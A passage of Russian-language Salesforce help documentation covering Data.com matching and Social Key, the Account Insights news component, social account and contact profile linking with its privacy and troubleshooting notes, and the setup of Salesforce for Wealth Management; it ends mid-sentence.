http://www.dnb.com/content/dam/US/dnb/documents/alliance/dnb-match-information-10-2012.pdf


Сопоставление DUNSRight™Сопоставление Data.comАтрибут

Служба сопоставления по умолчанию

Включает код достоверности D&B

Поддержкамеждународногопоиска совпадений1

Поддержка неанглоязычных стран

Требуется сопоставление по умолчанию для
Номера D-U-N-S

1Сопоставление DUNSRight предоставляет совпадающие записи в количестве стран, которое более чем на 200 превышает
количество стран сопоставления Data.com. Сопоставление DUNSRight не поддерживает следующие страны и регионы:
островаАдмиралтейства, Аландскиеострова, Антарктида, островВознесения, Бонайре, островБуве, Британскаятерритория
Индийскогоокеана, Каролинскиеострова, Кокосовыеострова, Куба, Кюрасао, Французскиеюжные территории, Гернси,
остров Херд и острова Макдональд, остров Мэн, Джерси, Корейская Народно-Демократическая Республика, Майотта,
ФедеративныеШтатыМикронезии, островаМидуэй, Монголия, Ниуэ, Палау, Оккупированнаяпалестинская территория,
Питкерн, Сент-Бартелеми, Синт-Эстатиус иСаба, Сен-Мартен (французская часть), Синт-Мартен (нидерландская часть),
Южная Джорджия, Южные СандвичевыОстрова, Шпицберген и Ян-Майен, Восточный Тимор, Турецкая Республика
Северного Кипра, Малые Тихоокеанские отдаленные острова СоединенныхШтатов, атолл Уэйк, Уоллис и Футуна,
Западная Сахара.

СМ. ТАКЖЕ:

Общие сведения о способах сопоставления записей Salesforce и Data.com

Настройка функции Data.com Clean

Рекомендации по планированию заданий по Data.com Clean

Рекомендации по выбору настроек заданий по очистке Data.com

Настройка заданий Data.com Clean

Определите собственные параметры и выберите службу сопоставления организаций для Data.com Clean

Data.com Social Key

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Функция Data.com Social Key поддерживает функции «Социальные организации и
контакты» и Data.com Clean, позволяя упростить отслеживание контактов и интересов в
системе Salesforceилисоциальныхсетях. Функция Social Keyдоступнаорганизациитолько
при наличиифункции Data.com Clean.

Важное замечание: Начиная с выпуска Spring 16, API-интерфейсы Data.com Social
Key и Data.com Social Profile больше не доступны. На данный момент указатели
социальныхобразов, например, от LinkedIn®, недобавляютсяк записям, очищенным
с помощью Data.com. Также нельзя использовать API-интерфейс Data.com Social
Profile для поиска указателей социальных образов.

При выполнении заданийпо очистке или очистке записейиз спискафункция Social Key
находит и связывает двойные указатели для контактов и интересов. В настоящее время
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функция Social Key дополняет записи контактов и интересов (только в США) двойными указателями на социальную сеть
LinkedIn®, Twitter® или Facebook®. Нужные социальные сети выбираются администратором.

Пользователи могут выполнять вход в социальную сеть посредством страницы сведений о контакте или интересе и
просматривать связанный профиль посредством окна «Социальные организации и контакты» или социальной сети.
Поиск выполняется автоматически.

Прим.: В зависимостиот заданныхпараметров конфиденциальности контактов иинтересов, а также полномочий,
предоставленных их друзьями или контактами, некоторые сведения, которые, как правило, доступны при входе в
аккаунт социальной сети, могут быть скрыты.

Функция Social Key может использоваться только после включения функции Data.com Clean.

СМ. ТАКЖЕ:

Настройка Data.com Social Key

Data.com Clean

Отслеживание социальных сетей и новостей

Важные данные об организациях

ВЕРСИИ

Компонент «Важные данные
об организациях» доступен
в: Lightning Experience и
Salesforce1.

Организации-компании
доступны в версиях: все
версии, кроме
Database.com Edition.

Компонент «Важныеданныеоборганизациях» позволяетпредоставлятьпользователям
мгновенный доступ к актуальным и своевременным новостям о клиентах, партнерах и
конкурентах.

Компонент «Важные данные об организациях» предоставляет до 20 релевантных и
своевременных новостных объектов (в том числе статьи и сообщения Twitter, то есть
сведения). Онипозволяютвамполучатьактуальнуюинформациюовашихорганизациях,
отраслях, с которымивыработаетеи т. д. Система Salesforce выполняетпредварительную
обработку всех сведений на предмет соответствия и фильтрацию на предмет наличия
спамаилинедопустимогосодержимого. Добавлениеилиизменениеисточниковновостей
не поддерживается.

Компонент «Важные данные об организациях» доступен только на английском языке и
поддерживается только мобильным приложением Salesforce1 и Salesforce Lightning
Experience.

Сведения, отображаемые компонентом «Важные данные об организациях», определяются областью его использования.

• На страницах сведений об организациях сведения отображаются на основе организации, руководителей и отрасли.

• ВприложенииSalesforce Todayсведенияотображаютсянаосновенедавнопросмотренныхорганизацийивозможностей,
а также на основе задач и событий для данных организаций. В приложении Salesforce1 сведения могут также
отображаться на основе организаций, связанных с участниками предстоящих событий мобильного календаря.

Сведения делятся на четыре категории.

Новости организации
Сведения, связанные с организацией (на основе имени организации, введенного в системе Salesforce).

Новости отрасли
Сведения, отображаемые на основе значения, выбранного в поле «Отрасль» для каждой организации.
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Новости руководителей
Сведения об отдельных людях, являющихся руководителями организации. Новости руководителей могут
просматриваться без их добавления в список контактов организации.

Самые обсуждаемые в моей компании
Сведения, просматриваемые другими пользователями организации Salesforce.

Компонент «Важные данные об организациях» проверяется посредством технологии, предоставленной Data.com и
сторонними компаниями. Использование компонента «Важные данные об организациях» доступно без приобретения
продукта Data.com.

Прим.:

• При включении поддержки компонент «Важные данные об организациях» использует сторонние и иные
технологииSalesforce, применяющиедругиеспособыобеспечениябезопасностииконфиденциальности. Данные
службы могут сохранять или обрабатывать некоторые данные организации (например, имя и веб-сайт
организации). Компания Salesforce не несет ответственность за конфиденциальность и безопасность данных,
переданных сторонним компаниям при использовании данной функции.

• Как правило, система Salesforce извлекает сведения из собственной платформы обработки новостей, которая
собирает новости на веб-узле Yahoo, из RSS-каналов и лент Twitter. При отсутствии совпадения система Salesforce
может выполнить поиск уникальных новостей на веб-узле Yahoo посредством указанного имени организации.
Запросы, выполняемые системой Salesforce, выполняются посредством безопасных протоколов, поэтому не
связываются с отдельными пользователями Salesforce.

СМ. ТАКЖЕ:

Параметры организаций
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Социальные организации, контакты и интересы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Организации-компании
доступны в версиях: все
версии, кроме
Database.com Edition.

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Контакты доступны в
версиях: все версии, кроме
Database.com Edition.

Интересы доступны в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Unlimited Edition и
Developer Edition.

Функции Data.com Clean и
Data.com Social Key
доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

СистемаSalesforce, поддерживающаяудобныйдоступпользователейксоциальнымсетям,
предоставляет преимущества, необходимые для качественного обслуживания текущих
и потенциальных клиентов.

Посмотреть демонстрационный ролик (3 мин. 29 сек.)

Если профиль социальной сети связан с записью организации, контакта или интереса,
то его данные доступны пользователям организации без дополнительного входа на
другие сайты.

Организации, использующиефункциюData.com Clean, такжеполучаютдоступкфункции
Data.com Social Key, позволяющей быстро находить сведения о нужных контактах и
интересах в социальных сетях. При выполнении заданийпоData.com Clean или очистке
записей из списка контакты и интересы дополняются двойными указателями на
социальные сети Twitter и Facebook (при их наличии).

Объекты,
обновляемые
посредством
функции
Data.com Social
Key

Объекты,
поддерживаемые
в Lightning
Experience
Salesforce1

Объекты,
поддерживаемые
в Salesforce
Classic

Сведения,
отображаемые
в системе
Salesforce

Социальная
сеть

Контакты

Интересы

Организации

Контакты

Интересы

Организации

Контакты

Интересы

Twitter — это
сервис,
позволяющий
просматривать
общедоступные
сведения о
текущих и
потенциальных
клиентах, а
также их
заметки.
Пользователи
могут
просматривать

Twitter

биографии,
последние
заметки и
списки
пользователей,
отслеживающих
или
отслеживаемых
организациями,
контактами и
интересами.
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Контакты

Интересы

Организации

Контакты

Интересы

Социальная сеть
Facebook позволяет
просматривать
персональные
сведения о текущих и

Facebook

потенциальных
клиентах, а также
находить общие
интересы. Для
контактов, интересов
и организаций-лиц
пользователи могут
просматривать
профили, обновления
статусов и количество
общих друзей. Для
организаций-компаний
пользователи могут
просматривать
присутствиекомпании
клиента в социальных
сетях, включая
профиль компании и
настенныесообщения.

Организации

Контакты

Klout — это сторонняя
служба, определяющая
степень влияния

Klout

Интересыпользователей в
социальных сетях,
включая Twitter,
Facebook и LinkedIn.
Служба Klout
позволяет
просматривать
рейтинги влияния
организаций,
контактовиинтересов
в социальных сетях, а
также определять
компании, влияющие
или находящиеся под
их влиянием, и
текущие темы.

Организации

Контакты

YouTube — это сервис,
предназначенный для
поиска и просмотра

Видеоролики YouTube

Интересывидеороликов,
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связанных с
организациями,
контактами и
интересами.

После связыванияорганизации, контактаилиинтереса спрофилемсоциальнойсети система Salesforce всегдаотображает
самые свежие сведения о данной записи. Уровень доступа каждого пользователя Salesforce определяется его связью с
организацией, контактом или интересом в социальной сети, а также параметрами конфиденциальности, заданными для
профиля. Если вы не вошли в социальную сеть через Salesforce, то увидите только сведения, которые пользователь
социальной сети сделал доступными общей публике.

Важное замечание: Функция «Социальные организации, контакты и интересы» использует публичные
API-интерфейсы Facebook, Klout, LinkedIn, Twitter и YouTube для отображения социальных данных в Salesforce.
Перечисленныевышесоциальныесетимогут влюбоевремяизменятьилиблокироватьдоступк своиминтерфейсам
API, поэтому компания salesforce.com не может гарантировать постоянную доступность данной функции или ее
отдельных компонентов, включая доступ к предоставленным данным или отдельным социальным сетям. После
выпуска Winter ‘16 сведения из сети LinkedIn недоступны этой функции.

Начало работы в приложении Salesforce1 или полной версии системы Salesforce

Чтобы начать работу, откройте страницу сведений об организации, контакте или интересе и выполните вход в аккаунты
социальных сетей. Данное действие устанавливает связи между системой Salesforce и аккаунтами социальных сетей,
позволяющие просматривать внешние профили прямо в системе Salesforce.

СМ. ТАКЖЕ:

Включение социальных организаций, контактов и интересов

Настройка социальных организаций, контактов и интересов

1396

Отслеживание социальных сетей и новостейПродажи клиентам



Безопасность и конфиденциальность при использовании социальных организаций, контактов и
интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Организации-компании
доступны в версиях: все
версии, кроме
Database.com Edition.

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Контакты доступны в
версиях: все версии, кроме
Database.com Edition.

Интересы доступны в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Unlimited Edition и
Developer Edition.

Функции Data.com Clean и
Data.com Social Key
доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Функция «Социальные организации, контакты и интересы» гарантирует безопасность
и конфиденциальность пользователей и их данных.

• При входе в аккаунты Facebook, Twitter или Klout система Salesforce использует
надежный протокол OAuth. благодаря которому регистрационные данные
пользователяостаютсянедоступнымидлясистемыSalesforce, апаролинесохраняются.

• Система Salesforce не поддерживает импорт или хранение сведений из социальных
сетей. При каждом выборе профиля социальной сети или видеоролика YouTube
система Salesforce извлекает нужные сведения прямо из социальной сети. Данный
алгоритм гарантируетотображение только самыхсвежихсведенийоборганизациях,
контактах и интересах в социальных сетях.

• СвязываниезаписиSalesforceсаккаунтомсоциальнойсетинеинициируетвыполнение
действий в социальной сети. Например, пользователь, связывающий контакт с
организацией Twitter, не начинает отслеживание данной организации в Twitter.

• Система Salesforce не публикует сведения о пользователе или его действиях в
связанных аккаунтах социальных сетей.

• Организации, контакты и интересы не получают уведомления об использовании
системы Salesforce для просмотра связанных профилей социальных сетей. Кроме
того, при использовании окна просмотра социальных сетей все взаимодействия с
социальнымисетями, выполняемыепосредствомсистемы Salesforce, доступнытолько
для чтения.

Прим.: При закрытии окна просмотра социальных сетей (например, путем
выбора ссылки, открывающей новую вкладку веб-обозревателя) пользователь
выходит из системы Salesforce и начинает взаимодействовать с социальной
сетью напрямую. Действия, выполняемые вне окна просмотра «Социальные
организации, контакты и интересы» системы Salesforce, могут публиковаться
социальной сетью.

• Сведения, отображаемые в профиле Facebook или Twitter, являются уникальными и
определяются связью пользователя с организацией, контактом или интересом в
каждойсоциальнойсети, а такжепараметрамиконфиденциальности, используемыми
организацией, контактом или интересом. Другие пользователи Salesforce должны
выполнить вход в собственные аккаунты социальных сетей; отображаемые сведения
определяются текущей связью каждого пользователя. Например, при связывании
вашего профиля Twitter с профилем Twitter потенциального клиента (интереса) вы сможете смотреть другие связи
клиента, но не позволять просматривать другому пользователю из вашей организации, профиль Twitter которого не
связан с интересом напрямую.

СМ. ТАКЖЕ:

Социальные организации, контакты и интересы

Включение социальных организаций, контактов и интересов

Настройка социальных организаций, контактов и интересов
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Настройка социальных организаций, контактов и интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Организации-компании
доступны в версиях: все
версии, кроме
Database.com Edition.

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Контакты доступны в
версиях: все версии, кроме
Database.com Edition.

Интересы доступны в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Unlimited Edition и
Developer Edition.

Функции Data.com Clean и
Data.com Social Key
доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Система позволяет выключать функцию «Социальные организации, контакты и
интересы», а также включать или выключать некоторые социальные сети.

Еслиотключитьфункцию «Социальныеорганизации, контактыиинтересы» длявашего
имени входа, то вы не увидите каких-либо социальных сетей для ваших организаций,
контактов и интересов. При отключении доступа к отдельной социальной сети вы не
сможете просматривать сведения из данной сети.

Прим.: В Salesforce Lightning Experience и мобильном приложении Salesforce1
пользователиимеютдоступтолькок Twitter, дажеесливключеныдругиесоциальные
сети.

1. На странице своих личных параметров введите «Социальные» в поле «Быстрый
поиск», затемвыберите«Настройкимоихсоциальныхорганизацийиконтактов»,
«Мои социальные организации и контакты» или «Настройки» в зависимости
от появившегося результата поиска.

2. Настройтефункцию «Социальныеорганизации, контактыиинтересы» всоответствии
с текущими требованиями.

3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Устранениенеполадоксфункцией «Социальныеорганизации, контактыиинтересы»

Социальные организации, контакты и интересы

Индивидуальная настройка системы Salesforce
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Просмотр и связывание профилей социальных сетей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Организации-компании
доступны в версиях: все
версии, кроме
Database.com Edition.

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Контакты доступны в
версиях: все версии, кроме
Database.com Edition.

Интересы доступны в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Unlimited Edition и
Developer Edition.

Функции Data.com Clean и
Data.com Social Key
доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Редактирование» для организацийДля связыванияпрофилей социальных сетей
с организациями-компаниями:

«Редактирование» для организаций и
контактов

Для связыванияпрофилей социальных сетей
с организациями-лицами:

«Редактирование» для контактовДля связыванияпрофилей социальных сетей
с контактами:

«Редактирование» для интересовДля связыванияпрофилей социальных сетей
с интересами:

«Чтение» для организацийДляпросмотрапрофилей социальных сетей,
связанных с организациями-компаниями:

«Чтение» для организацийИ «Чтение» для
контактов

Дляпросмотрапрофилей социальных сетей,
связанных с организациями-лицами:

«Чтение» для контактовДляпросмотрапрофилей социальных сетей,
связанных с контактами:

«Чтение» для интересовДляпросмотрапрофилей социальных сетей,
связанных с интересами:

Система позволяет просматривать самые свежие сведения об организациях, контактах
и интересах, собранные из профилей социальных сетей, а также их действия путем
связывания каждой записи с нужным профилем социальной сети Twitter или Facebook.

Связываниеорганизации, контактаилиинтересаспрофилемсоциальнойсетипозволяет
просматриватьсведенияопрофилеипоследниедействияпрофилянастраницесведений
оборганизации, контактеилиинтересе. Еслиорганизацияиспользуетфункцию Data.com
Social Key, то записи автоматически связываются с профилями Twitter и Facebook (при их
наличии).

Прим.: Отображаемые сведения и действия определяются параметрами
конфиденциальности, заданными профилю социальной сети, полномочиями,
предоставленными друзьями или контактами, и условиями использования
социальной сети. Дополнительную информацию о конфиденциальности и
безопасности см. в разделе «Безопасность и конфиденциальность при
использовании социальных организаций, контактов и интересов».

Учетные записи, контакты и интересыможно связывать с профилями Twitter или Facebook в Salesforce Classic. Спомощью
Lightning Experience или Salesforce1 можно просматривать и устанавливать ссылки только на профили Twitter.

1. Выполните вход в социальную сеть из страницы описания учетной записи, контакта или интереса

2. Приотсутствии записи, связанной спрофилем социальной сети, система Salesforce выполняет автоматическийпоиск
профилей, соответствующихименизаписи. Выберитенужныйпрофильдлясвязисзаписьюиливыполнитеповторный
поиск по другим критериям, если ни один из профилей не подходит.

3. Просмотрите сведения, предоставленные социальной сетью.
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4. В Salesforce Classic также можно сделать следующее:

a. Чтобы использовать изображение для профиля социальной сети в качестве изображения для профиля записи
Salesforce, щелкните «Показатьфотографию в Salesforce».

b. Чтобы просмотреть полный профиль прямо в социальной сети, щелкните «Просмотр полного профиля».

c. Чтобы изменить профиль, связанный с записью организации, нажмите кнопку «Найти другой профиль».

d. Чтобы удалить связь между записью Salesforce и аккаунтом социальной сети, щелкните «Выйти». Пользователь,
выполнивший выход, может просматривать сведения о записи, доступные в соответствующей социальной сети,
только после выполнения повторного входа.

СМ. ТАКЖЕ:

Устранение неполадок с функцией «Социальные организации, контакты и интересы»
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Выбор и изменение изображений для профилей организаций, контактов и интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Организации-компании
доступны в версиях: все
версии, кроме
Database.com Edition.

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Контакты доступны в
версиях: все версии, кроме
Database.com Edition.

Интересы доступны в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Unlimited Edition и
Developer Edition.

Функции Data.com Clean и
Data.com Social Key
доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для поиска и связывания
профилей социальных
сетей с записями
организаций-компаний:
• «Редактирование» для

организаций

Для поиска и связывания
профилей социальных
сетей с записями
организаций-лиц:
• «Редактирование» для

организаций

И

«Редактирование» для
контактов

Для поиска и связывания
профилей социальных
сетей с контактами:
• «Редактирование» для

контактов

Для поиска и связывания
профилей социальных
сетей с интересами:
• «Редактирование» для

интересов

Записиорганизаций, контактовиинтересов, связанныеспрофилямисоциальныхсетей,
отображаютизображенияизпрофилей Twitter или Facebook. Изображениядляпрофилей
некоторых сетей отображаются системой Salesforce даже без выполнения входа.

По умолчанию изображение для профиля организации, контакта или интереса
извлекается из первой социальной сети, связанной с записью.

Прим.: Изображениядляпрофилейиз Facebook доступнытольков Salesforce Classic.

1.
Щелкнитезначоклюбойсоциальнойсети ( ) настраницесведений
об организации, контакте или интересе.

2. Откройте вкладку нужной социальной сети в окне просмотра социальных сетей.

3. Щелкните «Показатьфотографию в Salesforce».

СМ. ТАКЖЕ:

Социальные организации, контакты и интересы
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Устранение неполадок с функцией «Социальные организации, контакты и интересы»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Организации-компании
доступны в версиях: все
версии, кроме
Database.com Edition.

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Контакты доступны в
версиях: все версии, кроме
Database.com Edition.

Интересы доступны в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Unlimited Edition и
Developer Edition.

Функции Data.com Clean и
Data.com Social Key
доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

СистемаSalesforce, поддерживающаяудобныйдоступпользователейксоциальнымсетям,
предоставляет преимущества, необходимые для качественного обслуживания текущих
и потенциальных клиентов.

Прим.: В различных продуктах Salesforce доступны разные социальные сети.
Изучите сведения о доступности социальных сетей на странице 1394 и проверьте,
доступна ли нужная вам сеть в используемом продукте.

Salesforce Classic

1. Чтобыоткрыть средствопросмотра социальныхданных, щелкнитепо значкулюбой
социальнойсетивверхнемколонтитулестраницысведенийоборганизации, контакте
или интересе.

2. Значки социальных сетей отображаются, только если для вашей организации
включена функция «Социальные организации, контакты и интересы». Попросите
администратора включить эту функцию.

3. Отсутствиезначкаможетуказыватьнаотменудоступаксоответствующейсоциальной
сети.

• Попросите администраторавключитьсоциальнуюсетьдля вашейорганизации.

• Изучитесвоиличныепараметрыивключитесоциальнуюсетьдлявашегоимени
входа.

Salesforce Lightning Experience

1. Откройте любую страницу с описанием организации, контакта или интереса.

2. Карточка Twitter отображается, толькоеслидлявашейорганизациивключенафункция
«Социальные организации, контакты и интересы». Попросите администратора
включить эту функцию и доступ к Twitter для вашей организации.

3. Если функция включена, но карточка Twitter не появляется, изучите свои личные
параметры.

Salesforce1

1. Откройте любую страницу с описанием организации, контакта или интереса.

2. Если карточка Twitter не появилась, попробуйте сделать следующее.

• Попросите администратора включить функцию «Социальные организации, контакты и интересы».

• Попросите администратора включить для организации доступ к Twitter.

• Попроситеадминистраторадобавитькарточку Twitter кмакетумобильнойстраницыдляучетныхзаписей, контактов
и интересов.
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• Изучите свои личные параметры и проверьте, что сеть Twitter включена для вашего имени входа.

СМ. ТАКЖЕ:

Включение социальных организаций, контактов и интересов

Настройка социальных организаций, контактов и интересов

Социальные организации, контакты и интересы

Подготовка высокосостоятельных клиентов для финансовых услуг

Общие сведения о Salesforce for Wealth Management

Что такое Salesforce for Wealth Management?

Salesforce for Wealth Management — это отраслевое решение, предназначенное и адаптированное для управления
благосостоянием.

Кому следует использовать Salesforce for Wealth Management?

Salesforce for Wealth Management рекомендуется специалистам по управлению благосостоянием, консультирующим
высокосостоятельных клиентов. Данное решение позволяет выстраивать более доверительные отношения с клиентами,
интегрировать ключевые системы, стимулирующие внедрение среди пользователей, и эффективно поддерживать
процессы соответствия.

Как получить Salesforce for Wealth Management?

При использовании версий Enterprise Edition, Unlimited Edition и Performance Edition приложение Salesforce for Wealth
Management доступно в каталоге AppExchange абсолютно бесплатно. Оно поддерживает все общедоступные функции
Enterprise Edition, Unlimited Edition и Performance Edition (например, интеграция Outlook, бизнес-правила и Force.com API).
Прежде чем начать работу, рекомендуем включить поддержку организаций-лиц (дополнительные записи организаций,
предназначенные для отраслей типа «Бизнес для потребителя», например, финансовые услуги).

Что поддерживает Salesforce for Wealth Management?

Salesforce for Wealth Management поддерживает компоненты ниже, гарантирующие его отличие от стандартныхфункций
Salesforce.

• Удобные вкладки, содержащие клиентоориентированные поля

• Подробныесведенияоклиентах, включаяфинансовыеорганизации, инвестиционныепредпочтения, адресаиличные
интересы

• Подробные формы получения знаний, поддерживающие автоматический процесс утверждения

• Отчеты и панели мониторинга, характерные для процесса управления благосостоянием
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• Группы взаимосвязи

СМ. ТАКЖЕ:

Начало работы с Salesforce for Wealth Management

Навигация по приложению Salesforce for Wealth Management

Начало работы с Salesforce for Wealth Management

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров
настройки для
настраиваемыхприложений:
• «Просмотр настройки и

конфигурации»

Для управления
настраиваемыми
приложениями:
• «Настройка

приложения»

Ниже перечислены действия, доступные администратору для настройки Salesforce for
Wealth Management в организации.

Проверка содержимого приложения Salesforce for Wealth Management

Проверьте настраиваемое приложение Salesforce for Wealth Management на наличие
соответствующих вкладок.

1. Введите строку «Приложения» в поле «Быстрый поиск» меню «Настройка» и
выберите пункт «Приложения».

2. Щелкните «Salesforce for Wealth Management».

3. Убедитесь, что список «Добавленные вкладки» содержит вкладки ниже.

• Начальная страница

• Организации

• Финансовые организации

• Фонды

• Активы WM

• Интересы клиента

• Получение знаний о клиентах

• Отчеты

• Панели мониторинга

• Документы

• Консоль

4. При необходимостищелкните «Правка» и выберите соответствующие вкладки для добавления или удаления.

Настройка доступных пользователям приложений
Помимо основного настраиваемого приложения Salesforce for Wealth Management, меню приложений Force.com может
также содержать настраиваемые приложения ниже.

• Финансовые организации и фонды Salesforce

• Клиенты и интересы Salesforce

• Получение знаний о клиентах Salesforce

При необходимости данные приложения могут быть скрыты от пользователей в меню приложений Force.com, так как
основноенастраиваемоеприложение Salesforce for Wealth Management уже содержит все соответствующиевкладки. Чтобы
скрыть данные приложения, выполните указанные ниже действия.
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1. Введите строку «Приложения» в поле «Быстрый поиск» меню «Настройка» и выберите пункт «Приложения».

2. Щелкните ссылку «Правка» напротив имени нужного приложения.

3. Снимите флажки напротив профилей конечных пользователей в столбце «Доступно» области «Назначить
профилям». Установите флажки только напротив профилей администраторов.

4. Нажмите кнопку «Сохранить».

5. Принеобходимостиповторите указанныевышедействиядляостальныхнастраиваемыхприложенийиз списка выше.

Проверка типов записей
Чтобыпроверитьдоступность указанныхнижетипов записейдляорганизаций-лиц (клиентов), откройте страницу «Типы
записей» посредством параметров управления организациями-лицами.

Частное лицо
Данный тип записи предназначается для текущих и потенциальных клиентов. Данный тип записи должен быть
назначен макету страницы «Частное лицо».

Профессиональная взаимосвязь
Данный тип записи предназначается для адвокатов, бухгалтеров и других профессиональных взаимосвязей. Данный
тип записи должен быть назначен макету страницы «Профессиональная взаимосвязь».

Настройка макетов страниц пользователей
Убедитесь, чтомакетыстраницпользователей, которыемогутбытьнастроенынастранице «Макетыстраниц» впараметрах
управления для каждого объекта, содержат указанные ниже компоненты.

Макеты вкладки «Начальная страница»
Макет начальной страницы для финансовых консультантов должен содержать компоненты ниже.

• Элементы для утверждения

• Задачи

• Календарь

• Снимок панели мониторинга

• Поиск

• Создать

• Недавние элементы

• Сообщения и предупреждения

• Настраиваемые ссылки

Макеты страниц организаций-лиц
Макеты страниц для организаций-лиц (клиентов) должны содержать связанные списки ниже.

• Финансовые организации

• Фонды

• Интересы клиента

• Получение знаний о клиентах

• Открытые действия

• Журнал действий

• Партнеры
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• Группа, работающая с организациями

• Примечания и вложения

Проверка процесса утверждения для получения знаний о клиентах
Salesforce for Wealth Management поддерживает процесс утверждения, направляющийформы получения знаний на
утверждение соответствующим пользователям Salesforce.

СМ. ТАКЖЕ:

Общие сведения о Salesforce for Wealth Management

Управление клиентами Wealth Management

Поиск по параметрам управления объектами

Управление процессом утверждения «Изучение клиентов»

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления
или клонирования
процессов утверждения:
• «Настройка

приложения»

Для просмотра процессов
утверждения:
• «Просмотр настройки и

конфигурации»

Описание процесса утверждения «Изучение клиентов»
Процесс утверждения — автоматический процесс, который может использоваться
организацией для утверждения записей Salesforce. Процесс утверждения определяет
этапы, необходимые для утверждения записи, а также ответственных за утверждение на
каждом этапе. Этап может применяться ко всем записям процесса или только к записям,
соответствующим определенным критериям, заданным администратором. Процесс
утверждения также определяет действия, которые должны быть предприняты при
утверждении, отклонении, отзывеилипервоначальнойотправке записина утверждение.

Процесс утверждения «Изучение клиентов» входит в Salesforce for Wealth Management и
имеет следующее значение.

1. Финансовый советник создает новую запись «Изучение клиентов».

Прим.: Данныеизсохраненнойзаписи «Изучениеклиентов» можновстраивать
в версию для печати документа Microsoft Word с использованием
предоставленного шаблона стандартных писем.

2. Финансовый советчик отправляет запись «Изучение клиентов» на утверждение, после чего запускаются следующие
действия.

• Запись «Изучение клиентов» заблокирована и недоступна для изменения

• Статус утверждения записи «Изучение клиентов» принимает значение «Ожидает утверждения»

• Дата отправки записи «Изучение клиентов» принимает сегодняшнее значение

• Тип записи «Изучение клиентов» принимает значение «Заявка на изучение клиентов отправлена»

• Запрос утверждения перенаправляется соответствующему пользователю Salesforce на проверку вместе с
сопутствующим письмом, созданным по соответствующемушаблону эл. почты.

3. Ведущийфинансовыйсоветникутверждаетилиотклоняетзапроснаутверждение, послечеговыполняютсяследующие
действия.

• Запись остается заблокированной и не может быть изменена.

• Статус утверждения записи «Изучение клиентов» принимает значение «Утверждено» или «Отклонено»
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• Дата утверждения/отклонения записи «Изучение клиентов» принимает сегодняшнее значение

• Еслизаписьутверждена, будетзапланированадополнительнаязадачадляфинансовогосоветникасцельюпроверки
формы «Изучение клиентов» через шесть месяцев.

Активация процесса утверждения «Изучение клиентов»
Чтобы запустить процесс утверждения «Изучение клиентов», выполните следующие действия.

1. В разделе «Настройка» введите «Процессы утверждения» в поле «Быстрый поиск», затем выберите «Процессы
утверждения».

2. В раскрывающемся списке «Управление процессами утверждения для:» выберите пункт «Изучение клиентов».

3. Нажмите кнопку «Активировать» у нужного процесса утверждения.

СМ. ТАКЖЕ:

Общие сведения о Salesforce for Wealth Management

Управление клиентами Wealth Management

Навигация по приложению Salesforce for Wealth Management
Чтобыполучить доступ кприложению Salesforce for Wealth Management, откройтеменюприложений Force.com в верхнем
правом углу любой страницы Salesforceи выберите пункт Salesforce for Wealth Management. Чтобыначать работу, откройте
нужную вкладку.

СМ. ТАКЖЕ:

Общие сведения о Salesforce for Wealth Management

Управление клиентами Wealth Management

Управление клиентами Wealth Management

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Клиенты»:
• «Чтение» для

организаций

Для просмотра клиентов:
• «Чтение» для

организаций

Для создания клиентов:
• «Создание» для

организаций и
контактов

Клиенты доступны только в Salesforce for Wealth Management. Клиент — это отдельное
лицо, являющееся потенциальным или текущим партнером, перспективной
возможностьюилипрофессиональнойвзаимосвязью (например, бухгалтерилиадвокат).
Пользователи могут управлять клиентами на вкладке «Клиенты». В стандартной
терминологии Salesforce клиентами называются организации. Тем не менее, Salesforce
for Wealth Management использует термин «клиенты».

Клиенты поддерживают все стандартные возможности организаций.

Также клиенты поддерживают специальные возможности ниже.

Типы записей клиентов
Типы записей — это категории, позволяющие пользователям систематизировать
записи. При необходимости назначьте записи клиентов типам записей ниже.

• «Компания» (корпоративная структура или траст)

• «Частное лицо» (текущий или потенциальный клиент)

• «Профессиональная взаимосвязь» (бухгалтер, адвокат или другая
профессиональная взаимосвязь)
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Списковые представления клиентов
При необходимости воспользуйтесь списковыми представлениями на вкладке «Клиенты» для быстрого доступа к
